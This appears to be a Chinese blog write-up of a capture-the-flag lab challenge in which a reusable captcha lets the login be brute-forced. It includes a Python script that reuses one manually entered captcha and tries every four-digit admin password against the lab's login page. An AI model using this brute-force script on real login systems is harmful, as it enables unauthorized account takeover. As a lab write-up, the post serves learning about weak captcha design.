版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/sinat_20454165/article/details/69945219
分值: 100
因为没有识别验证码,所以需要把第一请求获得的图片地址输入到浏览器中,然后人工输入验证码,再进行暴力破解
逗比的验证码,有没有难道不一样吗?
从网页的信息来看应该是要暴力破解的,但是对于基础题来说,识别验证码是比较过于复杂的方法。验证码与cookies应该是绑定的,但不会失效,如果看了下一题的话应该能够得到些提示。
import requests
url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php"
sess = requests.Session()
res = sess.get(url)
res.encoding = "utf-8"
print(res.text)
vcode = input("vcode:")
for p in range(1000,10000):
pwd = p
data = {"username": "admin", "pwd": pwd, "vcode":vcode}
print("trying password: %s" % pwd, end="\r")
res = sess.post("http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php", data=data)
res.encoding = "utf-8"
print("\n", res.content)
if "error" not in res.text:
print(pwd)
break
因为没有识别验证码,所以需要把第一请求获得的图片地址输入到浏览器中,然后人工输入验证码,再进行暴力破解